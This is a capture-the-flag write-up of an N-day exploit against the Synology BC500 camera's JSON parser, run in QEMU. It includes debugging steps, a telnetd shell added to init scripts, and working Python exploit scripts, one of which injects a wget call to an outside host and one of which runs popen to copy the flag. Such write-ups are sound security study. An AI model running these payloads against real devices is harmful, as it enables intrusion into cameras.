Real World CTF Let’s Party in the House
Intro⌗
This weekend I participated in Real World CTF. My team ultimately placed 3rd, winning $2500. This money will go towards our expenses for participating in DEFCON 2024!
Background⌗
This challenge was an N-day exploitation of the Synology BC500 camera which was first exploited in the 2023 Vancouver. One very helpful aspect of this challenge is that the vulnerability was disclosed by teamt5, more information on the bug can be found in this writeup.
The bug⌗
As a brief summary, the bug is in the libjansson.so.4.7.0
library which is used to parse incoming JSON requests. It is a classic buffer overflow, caused by the line _isoc99_sscanf(key, "%s %s", v1, v2);
which scans attacker controlled data into a fixed size stack buffer, giving overflow.
Credits⌗
Completing this challenge as a team was a lot of fun! Here is some information about everyone who worked to solve the challenge
- Piers
- 4n0nym4u5
- vishiswoz
- elvis6356
- not_master08
- zerotistic https://zerotistic.blog/
- joshl
- unvarient
- varun_5
- charif01
- h0ps
- REt
- r4z77
Debugging⌗
With the vulnerability readily available, debugging is the most important thing to set up. So, it was the first thing I worked on. With a debugger enabled, we can gain invaluable information such as the stack layout and determine the next steps for the exploit.
The first step I took was extracting the cpio archive, and viewing the architecture of the binaries inside
extracting cpio, and determining architecture⌗
$ mkdir player
$ cd player
$ cp ../player.cpio .
$ cpio -idv < player.cpio
...
$ rm player.cpio
$ file bin/busybox
bin/busybox: ELF 32-bit LSB pie executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 4.19.0, stripped
The binary is running 32-bit ARM assembly
gdbserver⌗
From here, I can either recompile gdbserver from source, or I can find a version of it online. I chose the later, as it saves time not having to cross-compile. Here is a repository which contains various versions of gdbserver compiled for different architectures. For this target, select the arm-linux-gnueabi
image. I chose 14.1, as it matches the version of gdb-multiarch I have installed on my computer.
rebuild cpio with gdbserver⌗
Next, insert the gdbserver binary into the bin folder of extracted cpio archive, and repackage it.
cp ~/Downloads/gdbserver player/bin/
cd ..
./build.sh
build.sh⌗
#!/bin/bash
cd player
find . -print0 | cpio --null -o --format=newc > ../player.cpio
telnet⌗
While gdbserver is nice, it doesn’t do much if we don’t know which process to attach to. On top of that, a shell would also be nice for debugging system files. A simple solution to this is to spawn some telnetd processes on system initialization.
#!/bin/busybox ash
/bin/busybox mount -t sysfs sysfs /sys
/bin/busybox mount -t proc proc /proc
/bin/busybox mount -t tmpfs tmpfs /dev
/bin/busybox mkdir -p /dev/shm
/bin/busybox mkdir -p /dev/pts
/bin/busybox mount -t devpts devpts /dev/pts
/bin/busybox mount -t debugfs none /sys/kernel/debug
# Populate /dev according to /sys
/bin/busybox mknod -m 660 console c 5 1
/bin/busybox mknod -m 660 null c 1 3
/bin/busybox mdev -s
/bin/busybox --install -s
echo "Welcome to NVT initramfs !!!!" > /dev/console
exec /sbin/init "$@" </dev/console >/dev/console 2>&1
#doesn't work
exec /bin/sh
Looking at the init file, first it handles mounting various objects and afterwords makes a call to /sbin/init
. First, I tried the simple solution of executing a shell after the call to /sbin/init
, but this did not work.
No problem, I know from experience that /sbin/init
will execute various startup scripts located /etc/init.d/
. This can be confirmed by looking at /etc/inittab
, where you can see the line ::sysinit:sh /etc/init.d/rcS
. rcS will in turn execute other scripts in the init.d
directory according to their number. The format is S[NUMBER]_[NAME]
. I chose to spawn the tty connections after the camera app had been initialized, as this seemed the best way to me. There are definitely other places this can be done, but this is where I chose.
I appended the following lines to /etc/init.d/S50_IPcamApp
echo "INIT telnetd"
telnetd -p 1338 -l /bin/sh &
telnetd -p 1339 -l /bin/sh &
Modify run.sh⌗
Finally, we must modify run.sh to forward the necessary ports to the target.
New run.sh⌗
#!/bin/sh
qemu-system-arm \
-m 1024 \
-M virt,highmem=off \
-kernel zImage \
-initrd player.cpio \
-nic user,hostfwd=tcp:0.0.0.0:8080-:80,hostfwd=tcp:0.0.0.0:9001-:1337,hostfwd=tcp:0.0.0.0:9002-:1338,hostfwd=tcp:0.0.0.0:9003-:1339,hostfwd=tcp:0.0.0.0:9004-:1340 \
-nographic
Now, it is possible to connect to the target via telnet on ports 9002, and 9003 from the host! From there, determine the correct process, and start gdbserver to listen on a different port.
How to debug⌗
So now that everything has been setup, I need to reach the vulnerable code segment in a debugger. My teammates had determined that the vulnerable code segment would be spawned in someway though the /bin/webd
process, which makes sense. They had also created a working PoC which would trigger the bug and cause a crash.
Early PoC (@REt)⌗
import requests
import json
url = 'http://127.0.0.1:8080/syno-api/security/info/language'
header = {
'Cookie':'sid=123'
}
j = [{
'a':'',
'a aaaaaaaaaaaaaaaaaaaabbbb':'',
}]
res = requests.post(url, json=j, headers=header)
print(res.text)
Armed with this knowledge, I set out on a mission to reach the vulnerable code segment in a debugger. As the bug itself does not reside in /bin/webd
this proved to be a challenging task.
Attaching debugger⌗
#from target, the multi option allows me to easily reattach /bin/webd
gdbserver --multi localhost:1337
#from host
gdb-multiarch
gef> gef-remote --pid $PID localhost 9001
Once attached to the target, I ran the PoC to see what paths were taken, the first thing I noticed is that webd will call vfork which preforms some system calls and exits. There are no segfaults, so this is not the path we want to take. Next, I changed the debugger setting to follow the parent process in the case of a fork. This is done with set follow-fork-mode parent
. From this, I observed that after the vfork to call system, there was another call to fork. This seems promising.
So, I used the catch fork
gdb command to set a catchpoint where fork is called, after hitting the fork, I set follow-fork-mode child
to follow the child path, and I reach the segfault!
debugger output⌗
(remote) gef➤ c
Continuing.
[Attaching after Thread 543.551 fork to child Thread 986.986]
[New inferior 2 (process 986)]
Reading /bin/webd from remote target...
Reading /bin/webd from remote target...
[Detaching after fork from parent process 543]
[Inferior 1 (process 543) detached]
Reading /lib/ld-linux-armhf.so.3 from remote target...
Reading /build/lib/debug/.build-id/dc/389ac64bcdc0d9a7748a8f1c780f0cd5a74055.debug from remote target...
[*] [remote] skipping 'system-supplied DSO at 0x7ef9e000'
gef➤ process 986 is executing new program: /www/camera-cgi/synocam_param.cgi
Reading /www/camera-cgi/synocam_param.cgi from remote target...
Reading /www/camera-cgi/synocam_param.cgi from remote target...
Reading /lib/ld-linux-armhf.so.3 from remote target...
Reading /lib/ld-linux-armhf.so.3 from remote target...
Reading /lib/libjansson.so.4 from remote target...
Reading /lib/libutil.so from remote target...
Reading /lib/libpthread.so.0 from remote target...
Reading /lib/libcurl.so.4 from remote target...
Reading /lib/libcrypto.so.1.1 from remote target...
Reading /lib/libssl.so.1.1 from remote target...
Reading /lib/libz.so.1 from remote target...
Reading /lib/libdl.so.2 from remote target...
Reading /usr/lib/libstdc++.so.6 from remote target...
Reading /lib/libm.so.6 from remote target...
Reading /lib/libgcc_s.so.1 from remote target...
Reading /lib/libc.so.6 from remote target...
Thread 2.1 "synocam_param.c" received signal SIGSEGV, Segmentation fault.
0x76860b14 in free () from target:/lib/libc.so.6
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────── registers ────
$r0 : 0x62626262 ("bbbb"?)
$r1 : 0x7effb3bc
$r2 : 0x134
$r3 : 0x0
$r4 : 0x62626262 ("bbbb"?)
$r5 : 0x0
$r6 : 0x4e7464
$r7 : 0x0
$r8 : 0x0
$r9 : 0x0
$r10 : 0x597954
$r11 : 0x7effb3a4
$r12 : 0x76f56040
$sp : 0x7effb388
$lr : 0x76f3e974
$pc : 0x76860b14
$cpsr: [negative zero CARRY overflow interrupt fast thumb]
─────────────────────────────────────── stack ────
[!] Unmapped address: '0x7effb388'
──────────────────────────────── code:arm:ARM ────
0x76860b08 <free+36> mov r4, r0
0x76860b0c <free+40> sub sp, sp, #8
0x76860b10 <free+44> beq 0x76860bc0 <free+220>
→ 0x76860b14 <free+48> ldr r2, [r0, #-4]
0x76860b18 <free+52> sub r1, r0, #8
0x76860b1c <free+56> tst r2, #2
0x76860b20 <free+60> bne 0x76860b64 <free+128>
0x76860b24 <free+64> ldr lr, [pc, #264] @ 0x76860c34 <free+336>
0x76860b28 <free+68> mrc 15, 0, r3, cr13, cr0, {3}
───────────────────────────────────── threads ────
[#0] Id 1, Name: "synocam_param.c", stopped 0x76860b14 in free (), reason: SIGSEGV
─────────────────────────────────────── trace ────
[#0] 0x76860b14 → free()
[#1] 0x76f3e974 → b 0x76f3e97c
──────────────────────────────────────────────────
gef➤
0x62626262
in r0 signifies the success of the PoC. Another useful piece of information is the binary name, /www/camera-cgi/synocam_param.cgi
which we can use too search for various pieces of info.
The final step before moving onto exploitation is automating the process of attaching, as it would be painful to go through these steps each time.
.gdbinit⌗
source /usr/share/gef/gef.py
gef-remote --pid 543 localhost 9001
set follow-fork-mode parent
catch fork
c
set follow-fork-mode child
d 1
catch exec #stop at the start of execution
Exploitation⌗
There are several things to note about this challenge.
- The bug is in the libjansson library, not the base binary
- libjansson does not have the stack-canary enabled.
- while PIE and ASLR are enabled, they only randomize the address space by a factor of 1/16. This means a leak is not needed, and 1/16 odds of success are good enough for a CTF
Examining Stack layout before overflow⌗
gef➤ info proc mappings
process 2455
Mapped address spaces:
Start Addr End Addr Size Offset Perms objfile
0x410000 0x4b7000 0xa7000 0x0 r-xp /www/camera-cgi/synocam_param.cgi
0x4c7000 0x4c9000 0x2000 0xa7000 rw-p /www/camera-cgi/synocam_param.cgi
0x76f08000 0x76f28000 0x20000 0x0 r-xp /lib/ld-2.30.so
0x76f38000 0x76f3a000 0x2000 0x20000 rw-p /lib/ld-2.30.so
0x7ef70000 0x7ef91000 0x21000 0x0 rw-p [stack]
0x7effb000 0x7effc000 0x1000 0x0 r-xp [sigpage]
0x7effc000 0x7effd000 0x1000 0x0 r--p [vvar]
0x7effd000 0x7effe000 0x1000 0x0 r-xp [vdso]
0xffff0000 0xffff1000 0x1000 0x0 r-xp [vectors]
gef➤ b *0x410000+0x74a4 #break after shared libraries are loaded
Breakpoint 3 at 0x4174a4
Thread 2.1 "synocam_param.c" hit Breakpoint 3, 0x004174a4 in ?? ()
gef➤ info proc mappings
process 2455
Mapped address spaces:
Start Addr End Addr Size Offset Perms objfile
0x410000 0x4b7000 0xa7000 0x0 r-xp /www/camera-cgi/synocam_param.cgi
0x4c7000 0x4c8000 0x1000 0xa7000 r--p /www/camera-cgi/synocam_param.cgi
0x4c8000 0x4c9000 0x1000 0xa8000 rw-p /www/camera-cgi/synocam_param.cgi
0x4c9000 0x4ea000 0x21000 0x0 rw-p [heap]
.
.
.
0x76ee8000 0x76ef7000 0xf000 0x0 r-xp /lib/libjansson.so.4.7.0
0x76ef7000 0x76f06000 0xf000 0xf000 ---p /lib/libjansson.so.4.7.0
0x76f06000 0x76f07000 0x1000 0xe000 r--p /lib/libjansson.so.4.7.0
0x76f07000 0x76f08000 0x1000 0xf000 rw-p /lib/libjansson.so.4.7.0
0x76f08000 0x76f28000 0x20000 0x0 r-xp /lib/ld-2.30.so
0x76f32000 0x76f38000 0x6000 0x0 rw-p
0x76f38000 0x76f39000 0x1000 0x20000 r--p /lib/ld-2.30.so
0x76f39000 0x76f3a000 0x1000 0x21000 rw-p /lib/ld-2.30.so
0x7ef70000 0x7ef91000 0x21000 0x0 rw-p [stack]
0x7effb000 0x7effc000 0x1000 0x0 r-xp [sigpage]
0x7effc000 0x7effd000 0x1000 0x0 r--p [vvar]
0x7effd000 0x7effe000 0x1000 0x0 r-xp [vdso]
0xffff0000 0xffff1000 0x1000 0x0 r-xp [vectors]
#break right befor the bug
gef➤ b *0x76ee8000+0x6be0
Breakpoint 4 at 0x76eeebe0
gef➤ x/i 0x76ee8000+0x6be0
0x76eeebe0: bl 0x76ee9990 <__isoc99_sscanf@plt>
gef➤ c
Thread 2.1 "synocam_param.c" hit Breakpoint 4, 0x76eeebe0 in ?? () from target:/lib/libjansson.so.4
gef➤ x/40wx $sp
0x7ef903a8: 0x7ef903a8 0x00000000 0x00000004 0x7ef904a8
0x7ef903b8: 0x00000001 0x76f07030 0x76f324d0 0x00000000
0x7ef903c8: 0x00000001 0x7bf904a0 0x7b000000 0x00000001
0x7ef903d8: 0x7ef903f3 0x7ef90400 0x00000000 0x7ef904a8
0x7ef903e8: 0x0000001a 0x76ef202c 0x004cf4f0 0x004cf450
0x7ef903f8: 0x7ef90424 0x76eef0d4 0x0000007b 0x00000000
0x7ef90408: 0x00000004 0x7ef904a8 0x00000000 0x7ef904a8
0x7ef90418: 0x00000000 0x0000007b 0x7ef90444 0x76eeee24
0x7ef90428: 0x00000000 0x00000000 0x00000004 0x7ef904a8
0x7ef90438: 0x5b00005b 0x004ce2e8 0x7ef9046c 0x76eef0ec
gef➤ b *0x76ee8000+0x6be4
Breakpoint 5 at 0x76eeebe4
gef➤ c
gef➤ x/40wx $sp
0x7ef903a8: 0x7ef903a8 0x00000000 0x00000004 0x7ef904a8
0x7ef903b8: 0x00000001 0x76f00061 0x76f324d0 0x00000000
0x7ef903c8: 0x00000001 0x7bf904a0 0x7b000000 0x00000001
0x7ef903d8: 0x7ef903f3 0x61616161 0x61616161 0x61616161
0x7ef903e8: 0x61616161 0x61616161 0x62626262 0x004cf400
0x7ef903f8: 0x7ef90424 0x76eef0d4 0x0000007b 0x00000000
0x7ef90408: 0x00000004 0x7ef904a8 0x00000000 0x7ef904a8
0x7ef90418: 0x00000000 0x0000007b 0x7ef90444 0x76eeee24
0x7ef90428: 0x00000000 0x00000000 0x00000004 0x7ef904a8
0x7ef90438: 0x5b00005b 0x004ce2e8 0x7ef9046c 0x76eef0ec
gef➤
The full output is much more verbose, but this is the general process I followed for debugging the overflow
My attempt⌗
Given the lack of a stack protector, my intuition led me to try to ROP. assuming I can grab RIP it will be easy enough. My idea was to create some fake pointers for the values being overwritten so return would be called. So, I started hunting for gadgets, and wasting my time. Why was I wasting my time? Simple, I can’t write NULL bytes. The vulnerability copies with the %s
format, meaning even if I could write null bytes in the JSON request, I wouldn’t be able to copy them. While shocked to realize this, I was still unconvinced. I came up with the idea to write the null bytes by using the fact that %s
copies a null byte after the string ends. I thought this was pretty clever, and worth a shot, but if I took some more time to think it through, I may have realized the futility of this approach. The 2 pointers I overwrite before the return pointer handle the context for the JSON object being created, as such throughout the function they need to be valid, or the binary will segfault. If only one was necessary, it would be okay, but both are needed
While unsuccessful I think it was an interesting idea that may work out in the future.
failed solve.py⌗
#!/usr/bin/env python2
#I switched to manually sending the request to try to send null bytes
import requests
import json
from pwn import *
r = remote('47.88.48.133', 36344)
binary_base = 0x400000
execve_off = 0x52ecc
mov_r0 = 0x000310f4#: mov r0, r3; pop {fp, pc};
pop_r3 = 0x0000654c#: pop {r3, pc};
final_payload = b''
target_string = 0x4c5a40
start = b'[{'
entry = b'"'
seperate = b'":"",'
end = b'":""}]'
#this is as far as I got before coming to the conclusion it doesn't work
payload = p32(binary_base+pop_r3)
payload = p32(binary_base+target_string)
payload += p32(mov_r0)
final_payload = start + entry
for i in range(len(payload)-1, 0, -1):
final_payload += b'a'*56
final_payload += b'\x60\x60\x77\x76'
final_payload += b'a'*(i-60)
if payload[i] != '\x00':
final_payload += payload[i]
final_payload += " "
#write the context pointer
final_payload += "a"*20
final_payload += b"\x38\x41\x50"
#final_payload += p32(0x00504d0)[:-1]
final_payload += seperate
final_payload += entry
final_payload += b"done"
final_payload += end
start = b'POST /syno-api/security/info/language HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nContent-Type:application/json\r\n'
header2 = b"Cookie:sid=123\r\n"
leng = b"Content-Length: {}\r\n\r\n".format(len(final_payload))
log.info(start+header2+leng+final_payload)
r.send(start+header2+leng+final_payload)
r.interactive()
That was it for me for day one. For context, it took me roughly 12 hours to get this far. What I have not included in this writeup is the many rabbit holes I fell down while trying to get everything working. To name a few, debugging the wrong processes, breaking at the wrong offset, and trying to manually install gef on Arch linux(I didn’t realize there was an AUR package and the way python is used in arch doesn’t work with the typical install).
Teammates to the rescue⌗
While I was asleep, my teammates (h0ps, zerotistic, charif, and Piers) were able to succeed where I had failed. It turns out by extending the length of the overwrite to 236 bytes in length, we can control the r3 register, as well as the r0 register. This register is then used as a call, allowing control of program flow!
New solve.py (Piers)⌗
import requests
import json
from pwn import *
r = remote('127.0.0.1', 8080)
context.arch = "arm"
base = 0x450000
guessed_base = 0x76755000
guessed_libc_base = guessed_base + 0x41000
guessed_libc_exit = guessed_libc_base + 0x2f368
popen = 0x14344
popenGadget = popen + base
off_cmd = 0xc2738
cmd = base + off_cmd
log.info("Popen: " + hex(popenGadget))
log.info("cmd: " + hex(cmd))
sep = b'"t":"' + b'P'*0x500 + b'",'
sep1 = b'"t1":"' + b'P'*0x500 + b'",'
sep2 = b'"t2":"' + b'P'*0x500 + b'",'
pCmd = b'wget http://10.0.2.2:12345/asbdjcab;'
payload = b'[{' + sep + sep1 + sep2 + b'"' + b'a'*(204+32) + p32(0x43434343) + p16(cmd & 0xffff) + p8(cmd >> 16) + b' ' + b''.ljust(204, b'C') + p16(popenGadget & 0xffff) + p8(popenGadget >> 16)+ b'":"' + pCmd.ljust(119, b'a') +b'"}]'
start = b'POST /syno-api/security/info/language HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nContent-Type:application/json\r\n'
header2 = b"Cookie:sid=123\r\n"
leng = b"Content-Length: " + bytes(str(len(payload)), "utf-8") + b"\r\n\r\n"
log.info(start+header2+leng+payload)
r.send(start+header2+leng+payload)
r.interactive()
With this, we were super close to solving the challenge. Only one problem remained, which was that for some reason the command was not executing. Later we would figure out that this was because there was a hanging quote at the end of the command. At this time I woke up and helped with debugging the final payload!
Executing commands⌗
As I mentioned above, we have control of the r3 register, which is used to take control flow. Next, there is a value which is loaded into r0. By combining these two things, my teammates found that a call to a specific popen gadget will work.
Gadget⌗
00024d60 2c 32 9f e5 ldr r3,[DAT_00024f94] = 0007E4F4h
00024d64 03 30 8f e0 add r3=>DAT_000a3260,pc,r3 = 72h r
00024d68 03 10 a0 e1 cpy r1=>DAT_000a3260,r3 = 72h r
00024d6c 02 00 a0 e1 cpy r0,r2
00024d70 e9 c8 ff eb bl <EXTERNAL>::popen FILE * popen(char * __command, c
so the payload with look like this 'A'*236 + command_address + ' ' + 'A'*204 + popen_gadget
The last step is writing the command, which I decided to do by writing a few big blocks of data followed by the command, I used spaces ' '
for the padding as a kind of nop into the command. I haven’t mentioned it yet, but we are restricted in what characters can be used, so this padding is a kind of heap grooming.
And that’s it! The final part of the exploit was overwriting index.html with the flag, which can then be retrieved with curl!
Completed solve.py⌗
#!/usr/bin/env python2
import requests
import json
from pwn import *
r = remote('localhost', 8080)
libc_base = 0x76795000
binary_base = 0x400000
popen_off = 0x14d60
target_string = 0x4c5a40
start = b'[{'
entry = b'"'
seperate = b'":"",'
end = b'":""}]'
payload = start + entry
payload += b'b":"' + b'b'*0x1000+b'cat /flag'
payload += b'","'
payload += b'c":"' + b' '*0xff0+b'cat /flag > /www/index.html'
payload += b'","'
payload += b'whoami":"","'
payload += b'a'*(204+36)
payload += p32(target_string)[:3]
payload += b" "
payload += b'C'*204
payload += p32(binary_base + popen_off)[:3]
payload += end
start = b'POST /syno-api/security/info/language HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nContent-Type:application/json\r\n'
header2 = b"Cookie:sid=123\r\n"
leng = b"Content-Length: {}\r\n\r\n".format(len(payload))
log.info(start+header2+leng+payload)
r.send(start+header2+leng+payload)
r.interactive()
Conclusion⌗
Through this challenge, I learned a lot about debugging more complex targets. Usually in PWN challenges, debugging is relatively straight forward. It was a great experience getting to work through an N-day vulnerability like this, and I’m glad I got the change to compete!